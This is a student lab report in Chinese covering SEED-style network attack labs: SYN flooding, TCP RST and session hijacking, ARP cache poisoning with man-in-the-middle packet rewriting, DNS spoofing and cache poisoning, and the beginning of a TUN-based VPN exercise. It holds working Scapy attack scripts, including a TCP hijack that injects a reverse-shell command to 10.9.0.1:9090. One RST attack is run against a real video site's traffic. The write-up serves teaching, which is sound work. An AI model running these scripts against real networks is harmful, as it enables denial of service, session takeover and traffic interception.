网络安全第二次实验


Lab1 TCP/IP攻击实验

实验原理

SYN-Flooding攻击原理

SYN-Flooding是DoS攻击的一种,攻击者向受害者的TCP端口发送很多SYN请求,但攻击者无意完成三次握手过程.

通过这种攻击,攻击者可以淹没用于半连接的受害者队列,即已完成SYN,SYN-ACK但尚未得到最终ACK的连接.

当这个队列已满时,受害者不能再进行任何连接。

image-20221109215859415

TCP RST 攻击原理

TCP RST 攻击可以终止两个受害者之间已建立的 TCP 连接。例如,如果两个用户 A 和 B 之间建立了 telnet 连接 (TCP),则攻击者可以欺骗从 A 到 B 的 RST 数据包,从而破坏该现有连接。为了成功地进行这种攻击,攻击者需要正确构造 TCP RST 数据包。

TCP会话劫持原理

TCP会话劫持的攻击目标是通过向会话中注入恶意内容来劫持两个受害者之间的现有 TCP 连接(会话)。如果此连接是 telnet 会话,则攻击者可以将恶意命令(例如删除重要文件)注入此会话,从而导致受害者执行恶意命令。

image-20221109220114243

实验环境如下:

image-20221109215606748

1 SYN洪泛攻击

1.1 使用Python进行攻击

编写 synflood.py

#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)

查看当前 tcp 连接:

image-20221031090207944

运行synflood.py

image-20221031090257573

可以看到受害者已经被SYN_RECV塞满了:

image-20221031091541372

我们在user1中telnet 10.9.0.5

image-20221031090541251

在初次尝试登录时等了一会时间后成功登录,而退出重新登录后很快又能登录了:

第一次是因为,python 程序跑得不够快,其它用户总有机会抢过它,以成功登录;而之后能立即连接是因为,受害者主机记住了原来的连接。

1.2 使用C语言进行攻击

清空队列:

ip tcp_metrics flush
root@c299f91e34ed:/# netstat -tna | grep SYN_RECV | wc -l
97
root@c299f91e34ed:/# ss -n state syn-recv sport = :23 | wc -l
98

attack机中运行:

synflood 10.9.0.5 23

查看当前 tcp 连接:

image-20221031090940820

telnet 10.9.0.5

image-20221031091311870

可以看到,卡在这里不动了。

1.3 启用SYN Cookie对策

首先清空一下:

ip tcp_metrics flush

启动 syncookies:

sysctl -w net.ipv4.tcp_syncookies=1

查看当前 tcp 连接,发现依然有很多很多半开连接:

netstat -nat

image-20221031092607632

telnet 10.9.0.5

image-20221031092623802

这时候从观察者主机telnet受害者主机,是可以正常登录的。

这就是SYN cookie机制的作用:它在接收到客户端的SYN包时,不立刻为连接分配资源,而是根据SYN包计算一个cookie值作为SYN ACK包的初始序列号;

若客户端正常返回ACK包,则根据包头信息计算cookie值,与其确认序列号对比,若验证通过则分配资源并建立连接;若验证不通过或没有收到第三个ACK包,则不会为非正常的连接分配资源。

这一机制保证了在遭受SYN洪泛攻击时,受害者主机的半开连接队列的资源不会被耗尽,从而能接受观察者主机的正常连接。

2 对telnet连接的TCP RST攻击

编写 tcprst.py

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
	tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
	pkt = ip/tcp
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-2dfcea811a6c', filter=f, prn=spoof_pkt)

flags的含义:

  • “S” for SYN
  • “.” (a single dot) for ACK
  • “P” for PSH
  • “F” for FIN
  • “R” for RST

telnet 10.9.0.5

image-20221031093347342

可以看出,连接直接被中断了。

3 针对视频流应用的TCP RST攻击

编写autoreset.py代码:

#!/usr/bin/env python3
from scapy.all import *

def spoof_tcp(pkt):
	IPLayer = IP(dst="192.168.31.59",src=pkt[IP].dst)
	TCPLayer = TCP(flags="R",seq=pkt[TCP].ack,dport=pkt[TCP].sport,sport=pkt[TCP].dport)
	spoofpkt = IPLayer / TCPLayer
	send(spoofpkt,verbose=0)
pkt = sniff(filter='tcp and src host 192.168.31.59',prn=spoof_tcp)

针对每个来自192.168.31.59的TCP包发送一个RST包,这个伪造的数据包被发往该地址以重置它的连接。

我们以优酷视频网站为例,运行上述代码,得到如下结果:

image-20221109223256353

4 TCP会话劫持

编写 tcphijacking.py

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
	tcp = TCP(sport=pkt[TCP].dport, dport=23,
              flags="A",
              seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
	data = "echo \"Fk U bitch!\" >> ~/hijacking.out\n\0"
	pkt = ip/tcp/data
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-2dfcea811a6c', filter=f, prn=spoof_pkt)

运行程序tcphijacking.py,然后在观察机上进行telnet

image-20221031093648290

victim机上查看攻击效果:

cat /home/seed/hijacking.out

image-20221031093841907

可以看出,程序成功写入了一个文件。

值得注意的是,当会话被劫持后,原来的用户便无法继续进行,因为他的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。

5 使用TCP会话劫持创建反向Shell

编写 reverseshell.py

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
	tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
	data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"
	pkt = ip/tcp/data
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-cd5e3264be71', filter=f, prn=spoof_pkt)

在Attacker中开启监听9090端口,从Server中反射回的shell会通过9090端口返回:

nc -lnv 9090

观察机进行telnet:

image-20221031112930588

运行 reverseshell.py,然后在user1中的telnet命令行输入任意一字符,发现attacker端连接建立,成功拿到victim的shell:

image-20221031113123901

image-20221031113142395

使用Wireshark进行抓包,可以看到发送的反弹shell的命令:

image-20221031114510133

由于会话被劫持,user1中的telnet端不能继续输入其他命令:

image-20221031113201992

Lab2 ARP缓存攻击实验

实验原理

地址解析协议(ARP)是一种通信协议,用于发现给定IP地址的链路层地址,例如MAC地址。

ARP协议工作过程

假设主机A和B在同一个网段,主机A要向主机B发送信息,具体的地址解析过程如下:

(1) 主机A首先查看自己的ARP表,如果ARP表中含有主机B对应的ARP表项,则主机A直接利用ARP表中的MAC地址,对IP数据包进行帧封装,并将数据包发送给主机B。

(2) 如果主机A在ARP表中找不到对应的MAC地址,则将缓存该数据报文,然后以广播方式发送一个ARP请求报文。ARP请求报文中的发送端IP地址和发送端MAC地址为主机A的IP地址和MAC地址,目标IP地址和目标MAC地址为主机B的IP地址和全0的MAC地址。由于ARP请求报文以广播方式发送,该网段上的所有主机都可以接收到该请求,但只有被请求的主机(即主机B)会对该请求进行处理。

(3) 主机B比较自己的IP地址和ARP请求报文中的目标IP地址,当两者相同时进行如下处理:将ARP请求报文中的发送端(即主机A)的IP地址和MAC地址存入自己的ARP表中。之后以单播方式发送ARP响应报文给主机A,其中包含了自己的MAC地址。

(4) 主机A收到ARP响应报文后,将主机B的MAC地址加入到自己的ARP表中以用于后续报文的转发,同时将IP数据包进行封装后发送出去。

ARP协议是一个非常简单的协议,它没有实现任何安全措施。ARP缓存中毒攻击是针对ARP协议的常见攻击。利用这种攻击,攻击者可以欺骗受害者接受伪造的IP到MAC映射。这可能导致受害者的数据包被重定向到具有伪造MAC地址的计算机,从而导致潜在的中间人攻击。

1 ARP缓存中毒

环境配置

image-20221030212019360

此任务的目标是使用数据包欺骗对目标发起ARP缓存中毒攻击,这样当两台受害机器a和B尝试相互通信时,他们的数据包将被攻击者拦截,攻击者可以更改数据包,从而成为a和B之间的中间人,这称为中间人(MITM)攻击。在这个实验室中,我们使用ARP缓存中毒来进行MITM攻击。

使用ip a指令查询三台主机的ip地址和mac地址:

image-20221030220621849

1.1 使用ARP请求

编写arp.py,并在 M 中运行:

#!/usr/bin/python3 
from scapy.all import * 

A_ip = "10.9.0.5"
A_mac = "02:42:0a:09:00:05"
B_ip = "10.9.0.6"
B_mac = "02:42:0a:09:00:06"
M_ip = "10.9.0.105"
M_mac = "02:42:0a:09:00:69"

eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff') 
arp = ARP(hwsrc=M_mac, psrc=B_ip,
          hwdst=A_mac, pdst=A_ip,
          op=1) 

pkt = eth / arp 
sendp(pkt)

通过wireshark抓包可以看到:

image-20221030220235732

此时 A 中新增了 arp 记录:

image-20221030220445120

1.2 使用ARP回复

在主机M上,构造一个ARP应答包并发送到主机A。检查A的ARP缓存,查看M的MAC地址是否映射到B的IP地址。针对两种不同的情况尝试攻击:

1.2.1 场景1:B的IP已经在A的缓存中

首先,在 B 上 ping A

image-20221030221636427

此时,A 上看到:

image-20221030221708015

然后运行arp.py

#!/usr/bin/python3 
from scapy.all import * 

A_ip = "10.9.0.5"
A_mac = "02:42:0a:09:00:05"
B_ip = "10.9.0.6"
B_mac = "02:42:0a:09:00:06"
M_ip = "10.9.0.105"
M_mac = "02:42:0a:09:00:69"

eth = Ether(src=M_mac,dst=A_mac) 
arp = ARP(hwsrc=M_mac, psrc=B_ip,
          hwdst=A_mac, pdst=A_ip,
          op=2) 					# 将op更改为2

pkt = eth / arp 
sendp(pkt)

image-20221030222326315

此时 A 上的记录被更新:

Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0

修改成功。

1.2.2 场景2:B的IP不在A的缓存中

首先删除 A 的 arp 中关于 B 的记录:

arp -d 10.9.0.6

然后再次运行arp.py

image-20221030222610697

此时 A 上的记录没有变化:

image-20221030222647041

可见 reply 消息只能更新内容,却不能新建。

1.3 使用ARP gratuitous message

ARP gratuitous message也称为免费ARP,无故ARP。Gratuitous ARP不同于一般的ARP请求,它并非期待得到ip对应的mac地址,而是当主机启动的时候,将发送一个Gratuitous arp请求,即请求自己的ip地址的mac地址。

#!/usr/bin/python3 
from scapy.all import * 

A_ip = "10.9.0.5"
A_mac = "02:42:0a:09:00:05"
B_ip = "10.9.0.6"
B_mac = "02:42:0a:09:00:06"
M_ip = "10.9.0.105"
M_mac = "02:42:0a:09:00:69"

eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff') 
arp = ARP(hwsrc=M_mac, psrc=B_ip,
          hwdst='ff:ff:ff:ff:ff:ff', pdst=B_ip,
          op=1) 

pkt = eth / arp 
sendp(pkt)

1.3.1 场景1:B的IP已经在A的缓存中

首先,在 B 上 ping A

image-20221030223130431

此时,A 上看到:

image-20221030223219999

然后运行arp.py,并使用 Wireshark 抓包:

image-20221030223400563

image-20221030223722004

arp记录被更新。

1.3.2 场景2:B的IP不在A的缓存中

可以抓到包:

image-20221030223824835

image-20221030223832297

此时 A 上的记录没有变化,可见该情况和 reply 的结果是一样的。

2 使用ARP缓存中毒对Telnet进行MITM攻击

2.1 启动ARP缓存中毒攻击

首先,主机M对A和B进行ARP缓存中毒攻击,使得在A的ARP缓存中,B的IP地址映射到M的MAC地址,而在B的ARP高速缓存中,A的IP地址也映射到M MAC地址。在这一步之后,A和B之间发送的数据包将全部发送到M。我们将使用任务1中的ARP缓存中毒攻击来实现这一目标。最好是不断地(例如每5秒)发送欺骗的数据包;否则,假条目可能会被真实条目替换。

#!/usr/bin/python3 
from scapy.all import * 

A_ip = "10.9.0.5"
A_mac = "02:42:0a:09:00:05"
B_ip = "10.9.0.6"
B_mac = "02:42:0a:09:00:06"
M_ip = "10.9.0.105"
M_mac = "02:42:0a:09:00:69"

ethA = Ether(src=M_mac,dst=A_mac) 
arpA = ARP(hwsrc=M_mac, psrc=B_ip,
           hwdst=A_mac, pdst=A_ip,
           op=2) 
ethB = Ether(src=M_mac,dst=B_mac) 
arpB = ARP(hwsrc=M_mac, psrc=A_ip,
           hwdst=A_mac, pdst=B_ip,
           op=2) 

while True:
    pktA = ethA / arpA
    sendp(pktA, count=1)
    pktB = ethB / arpB
    sendp(pktB, count=1)
    time.sleep(5)

首先从 B ping A 并查看 A 的 arp 的变化:

image-20221030224152814

运行程序后再查看 A 的 arp 和 B 的 arp:

image-20221030224232005

image-20221030224240806

2.2 测试

首先在M中关闭转发:

sysctl net.ipv4.ip_forward=0

image-20221030224324513

AB 互相 ping:

image

image-20221030224518117

发现 ping 不通。

2.3 打开IP转发

首先在M中开启转发:

sysctl net.ipv4.ip_forward=1

运行python代码:

image-20221030224718430

AB 互相 ping:

image-20221030224730827

image-20221030224744342

发现 ping 得通。

2.4 发起MITM攻击

我们准备对A和B之间的Telnet数据进行更改。假设A是Telnet客户端,B是Telnet服务器。在A连接到B上的Telnet服务器后,对于A的Telnet窗口中键入的每个按键,都会生成一个TCP数据包并发送到B。我们希望截取TCP数据包,并用固定字符(例如Z)替换每个键入的字符。这样,用户在A上键入什么并不重要,Telnet将始终显示Z。

保持 ip 转发开启,先运行arp.py,然后开启 telnet:(seed默认密码是dees)

image-20221030230114185

然后关闭 ip 转发:

sysctl net.ipv4.ip_forward=0

image-20221030230147803

此时,在 A 中输入内容,无法显示。

编写 sniff_spoof.py

#!/usr/bin/env python3
from scapy.all import *
import re

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            data = data.decode()
            newdata = re.sub(r'[a-zA-Z]', r'Z', data)
            print(data + " ==> " + newdata)
            send(newpkt/newdata, verbose=False)
        else:
            send(newpkt, verbose=False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)

运行,在 A 中输入任意内容,可以看到,全部改成了 Z:

image-20221030231503867

M 中显示:

image-20221030231434810

3 使用ARP缓存中毒对Netcat进行MITM攻击

Netcat(简称nc)是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。

开启IP的forward功能,使得host A可以与host B连接。

// -l 用于指定nc将处于侦听模式, -p 后接 port
sysctl net.ipv4.ip_forward=1

保持 arp.py 运行,然后 B 开启端口监听:

nc -lp 9090

A 连接 B

nc 10.9.0.6 9090

此时,两者可以正常通信。

image-20221030233728821

image-20221030233745642

修改 sniff_spoof.py

#!/usr/bin/env python3
from scapy.all import *
import re

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = data.replace(b'qzs', b'szq')
            print(str(data) + " ==> " + str(newdata))
            newpkt[IP].len = pkt[IP].len + len(newdata) - len(data)
            send(newpkt/newdata, verbose=False)
        else:
            send(newpkt, verbose=False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)

f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)

此时,关闭中间人M的IP数据包的forward功能,使得所有数据包都由中间人M发起:

image-20221031001515498

image-20221031001750336

image-20221031001648537

此时再次在host A中输入内容,在host B中得到回显。

发现输入“aaa”内容时候,回显不变。

但是输入的内容如果包括“qzs”的话,返回结果会将其替换为“szq”。说明攻击成功!

Lab3 本地DNS攻击实验

实验原理

本地DNS服务器的迭代查询过程如下:

本地DNS攻击实验原理

img
实验场景: 一台用于受害者,一台用于本地 DNS 服务器,两台用于攻击者。所有这些机器放在同一个局域网上。

实验原理:当用户在 web 浏览器中键入网站名(主机名,如www.example.com)时,用户的计算机将向本地 DNS 服务器发送 DNS 请求,以解析主机名的 IP 地址。攻击者可以嗅探 DNS 请求消息,然后可以立即创建虚假 DNS 响应,并将其发送回用户计算机。如果虚假回复比真实回复早到达,用户机器将接受它。或者在其他 DNS 发送请求数据包时,如果攻击者可以欺骗来自其他 DNS 服务器的响应,本地 DNS 服务器将在其缓存中保留欺骗响应一段时间。下一次,当用户的计算机想要解析相同的主机名时,它将从缓存中获得伪造的响应。这样,攻击者只需欺骗一次,影响将持续到缓存信息过期。

1 配置DNS服务器

我们在本地DNS服务器上运行 bind9 DNS服务器程序。

bind9从名为/etc/bind/named.conf的文件获取其配置。

LabSetup已经配置完成实验环境,容器中共有下列虚拟主机:

image-20221025092449025

以下是配置测试

在user容器中运行dig命令(DNS查询):

获得ns.attacker32.com的ip地址:10.9.0.153

image-20221025092746666

输入命令dig www.example.com,会直接发请求给local DNS server,其会把请求发给对应的官方的nameserver

image-20221025092918257

使用@,直接发给ns.attacker32.com

image-20221025092940776

获得的结果与Attacker上zone文件相同

image-20221025093128098

2 修改host文件进行攻击

在进行DNS解析时,先查找本地hosts文件中的主机名和P地址,若未找到,再进行远程DNS查询。因此,若攻击者进入受害者的计算机,他们可修改hosts文件,可将用户试图访问的www.example.com重定向到恶意的站点。本任务为修改hosts文件进行DNS 攻击。注意,hosts文件被dig命令忽略,但是会对ping命令和web浏览器访问产生影响。

根据公钥基础设施PKI实验中的相关方法:

在/etc/hosts文件中加入:10.9.0.80 www.csujwc.its.csu.edu.cn

image-20221006204100866

www.csujwc.its.csu.edu.cn生成证书csu.crt:

image-20221006233908522

配置apache文件:

image-20221006233800236

image-20221006233041547

可以看到:重启docker容器的Apache服务器,在虚拟机浏览器中访问网址https://www.csujwc.its.csu.edu.cn/,即可正常浏览。

image-20221006234011517

3 伪造DNS响应进行攻击

(1)使用netwox工具

在local DNS Server 使用命令rndc flush清除缓存

image-20221025195347368

在seed-attacker容器内运行如下:

// 105: Sniff and send DNS answers
netwox 105 -h www.example.com -H 1.2.3.4 -a ns.attcker32.com -A 10.9.0.153

user发起dns请求,成功被欺骗:

image-20221025201244447

seed-attacker容器中打印出DNS请求和响应:

image-20221025200144290

(2)使用scapy

编写代码dns_sniff_spoof.py:

image-20221025201035920

local DNS Server处清除缓存rdnc flush),并在attacker容器内运行攻击scapy代码

#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.2.3.4')
        dns=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=0,rd=0,qr=1,qdcount=1,ancount=1,nscount=0,an=Anssec)# Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = 'udp and dst port 53' # Set the filter
pkt=sniff(iface='br-6d4ed7d9c826', filter=myFilter, prn=spoof_dns)

user端进行dns请求,实际信息被篡改,即攻击成功:

image-20221025201244447

image-20221025201312431

4 DNS缓存毒化攻击

伪造DNS响应进行攻击任务将攻击目标聚焦于user,需要总是等待user进行请求,效率并不高。

DNS缓存毒化攻击将目标聚焦于DNS server,会是更高效的方式,即DNS缓存投毒:如果攻击者伪装从其他DNS server来的响应,该DNS Server就会把内容存储在缓存中,会保留相当长的一段时间。在该期间的请求都会直接返回缓存内的结果。我们只需spoof一次,影响就会持续直到下次缓存更新。

4.1 DNS缓存中毒攻击-欺骗应答

攻击者伪装其他DNS服务器得到的响应将记录在缓存中,以后访问域名www.example.com的请求均会直接返回缓存内的结果:

image-20221028213904061

#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "www.example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='10.0.2.5') 
        NSsec1 = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        dns=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=0,rd=0,qr=1,qdcount=1,ancount=1,nscount=0,an=Anssec)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = 'udp and (src host 10.9.0.53 and dst port 53)' # Set the filter
pkt=sniff(iface='br-8e13754a08ea', filter=myFilter, prn=spoof_dns)

image-20221028215135443

rndc dumpdb -cache			# 将高速缓存转储
cat /var/cache/bind/dump.db | grep example

我们就可以查看到dns缓存中的域名与ip地址对应关系,发现www.example.com的对应ip地址是10.0.2.5。

image-20221028214232190

4.2 欺骗NS记录

其想法是在DNS回复中使用Authority部分。基本上,当我们欺骗一个回复时,除了欺骗答案(在答案部分),我们在授权部分添加以下内容。当本地DNS服务器缓存此条目时,ns.attacker32.com将用作名称服务器,用于将来查询example.com域中的任何主机名。

由于ns.attacker32.com由攻击者控制,因此它可以为任何查询提供伪造答案

image-20221028214741677

#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "www.example.com"

def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) # Create a UPD object
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='10.0.2.5') 
        NSsec1 = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        dns=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=1,an=Anssec, ns=NSsec1)	# Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = 'udp and (src host 10.9.0.53 and dst port 53)' # Set the filter
pkt=sniff(iface='br-8e13754a08ea', filter=myFilter, prn=spoof_dns)

aa=1表示dns回应中有授权部分,nscount=1表示dns回应中有一个授权部分,ns为授权部分。

添加该授权部分的作用是:每当我们查询含有example.com的域名时,dns服务器都会转向ns.attacker32.com(攻击者DNS)进行查询。

攻击截图

访问example.com域中的其他主机名,获得了由ns.attacker32.com提供的伪造答案1.2.3.6。

image-20221028215156629

查看缓存结果:

image-20221028215317951

4.3 欺骗另一个域的NS记录

​ 我们成功毒害了本地DNS服务器的缓存,因此ns.attacker32.com成为example.com域的名称服务器。受这一成功的启发,我们希望将其影响扩展到其他领域。也就是说,在由www.example.com查询触发的欺骗响应中,我们希望在Authority部分中添加额外的条目,即ns.attacker32.com也被用作google.com的名称服务器。

构造多个NS:

image-20221109231914077

清除缓存,attacker运行代码,user端dig www.example.com查看缓存,发现仅example.com的被留在缓存中:

image-20221109232004880

4.4 在附加部分中欺骗记录

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='10.0.2.5') NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
NSsec2=DNSRR(rrname='google.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')
        dns=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)# Create a DNS object

修改并运行上述代码:

image-20221109232506259

查看缓存:

image-20221109233854147

发现仅attacker32.com的记录被留在缓存中,说明超出域的附加记录会直接被丢弃,即上述代码中Addsec2Addsec3这两条附加记录都没有录入到cache中。

Lab4 VPN隧道实验

实验原理

虚拟专用网络 (VPN) 是建立在公共网络(通常是 Internet)之上的专用网络。VPN内的计算机可以安全地进行通信,就像它们在与外部物理隔离的真实专用网络上一样,即使它们的流量可能通过公共网络。VPN使员工能够在旅行时安全地访问公司的内部网;它还允许公司将其私人网络扩展到全国和世界各地。本实验的目的是了解 VPN 的工作原理。我们专注于一种特定类型的 VPN(最常见的类型),它建立在传输层之上。我们将从头开始构建一个非常简单的 VPN,并使用该过程来说明 VPN 技术的每个部分是如何工作的。一个真正的 VPN 程序有两个基本部分,隧道和加密。本实验只关注隧道部分,了解隧道技术,所以本实验中的隧道没有加密。

在这里插入图片描述

image-20221104201003107

实验操作

Task 1: 网络设置

VPN-SERVER 上 ping HOST-U

ping 10.9.0.5 -c 1

image-20221104201807516

VPN-SERVER 成功 ping 到 HOST-U

VPN-SERVERping HOST-V

ping 192.168.60.5 -c 1

image-20221104202016566

VPN-SERVER 成功 ping 到 HOST-V

HOST-U 上 ping HOST-V

ping 192.168.60.5 -c 1

image-20221104222331955

HOST-U 无法 ping 到 HOST-V

在路由器上运行 tcpdump,并嗅探每个网络上的流量,以捕获数据包。

image-20221104223117068

Task2:创建和配置TUN接口

我们将要构建的VPN隧道基于TUN/TAP技术。TUN和TAP是虚拟网络内核驱动程序;它们实现完全由软件支持的网络设备。TAP(在网络TAP中)模拟以太网设备,它使用第2层数据包(如以太网帧)运行;TUN(如在网络隧道中)模拟网络层设备,它使用第3层数据包(如IP数据包)进行操作。使用TUN/TAP,我们可以创建虚拟网络接口

用户空间程序通常连接到TUN/TAP虚拟网络接口。操作系统通过TUN/TAP网络接口发送的数据包被传送到用户空间程序。另一方面,程序通过TUN/TAP网络接口发送的数据包被注入操作系统网络堆栈。对于操作系统而言,数据包似乎通过虚拟网络接口来自外部源。

当程序连接到TUN/TAP接口时,内核发送到此接口的IP数据包将通过管道传输到程序中。另一方面,程序写入接口的IP数据包将通过管道传输到内核,就好像它们是通过这个虚拟网络接口从外部来的一样。程序可以使用标准的 read()write() 系统调用从虚拟接口接收数据包或向虚拟接口发送数据包。

Task2.A 接口名称

编写tun.py

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_TAP   = 0x0002
IFF_NO_PI = 0x1000

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'tun%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

# Get the interface name
ifname = ifname_bytes.decode('UTF-8')[:16].strip("\x00")
print("Interface Name: {}".format(ifname))

while True:
   time.sleep(10)

HOST-U 上运行该程序:

chmod a+x tun.py
./tun.py

image-20221105202352109

我们在该主机上查看端口:

ip address

image-20221105202451962

两者均看到了 tun0

现在,我们来修改程序:

# Create the tun interface
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b'qzs%d', IFF_TUN | IFF_NO_PI)
ifname_bytes  = fcntl.ioctl(tun, TUNSETIFF, ifr)

重新运行tun.py

image-20221105202529845

可以看到,端口名字被成功修改了。此时,如果运行 ip address,也会看到被修改后的端口。

Task2.B 设置TUN接口

在程序死循环前加入:

os.system("ip addr add 192.168.53.99/24 dev {}".format(ifname))
os.system("ip link set dev {} up".format(ifname))

重新运行程序tun.py

运行ip address

image-20221105202641292

可以观察到,qzs0 端口被添加了我们刚刚指定的 ip,并且 state 不再是 DOWN 了。

Task2.C 从TUN接口读取

在本任务中,我们将从TUN接口读取。从TUN接口出来的任何东西都是IP数据包。我们可以将从接口接收到的数据转换成Scapy IP对象,这样我们就可以打印出IP数据包的每个字段。

使用如下代码取代原来程序中的死循环:

while True:
    # Get a packet from the tun interface
    packet = os.read(tun, 2048)
    if packet:
        ip = IP(packet)
        print(ip.summary())

image-20221105203742993

再次运行tun.py

image-20221105203807894

我们 ping 的是刚刚端口定义的地址,发现 tun 可以接收到数据包,但是不会返回任何内容。

image-20221105203920181

我们 ping 的是另一个网络,发现能够 ping 通,但并没有经过刚刚设置的 tun。

Task2.d 写入TUN接口

在本任务中,我们将写入TUN接口。由于这是一个虚拟网络接口,应用程序写入接口的任何内容都将作为IP数据包出现在内核中。

我们将修改tun.py程序,因此在从tun接口获取数据包后,我们将根据接收到的数据包构造一个新的数据包。然后,我们将新数据包写入TUN接口

#!/usr/bin/env python3

import fcntl
import struct
import os
import time
from scapy.all import *

TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
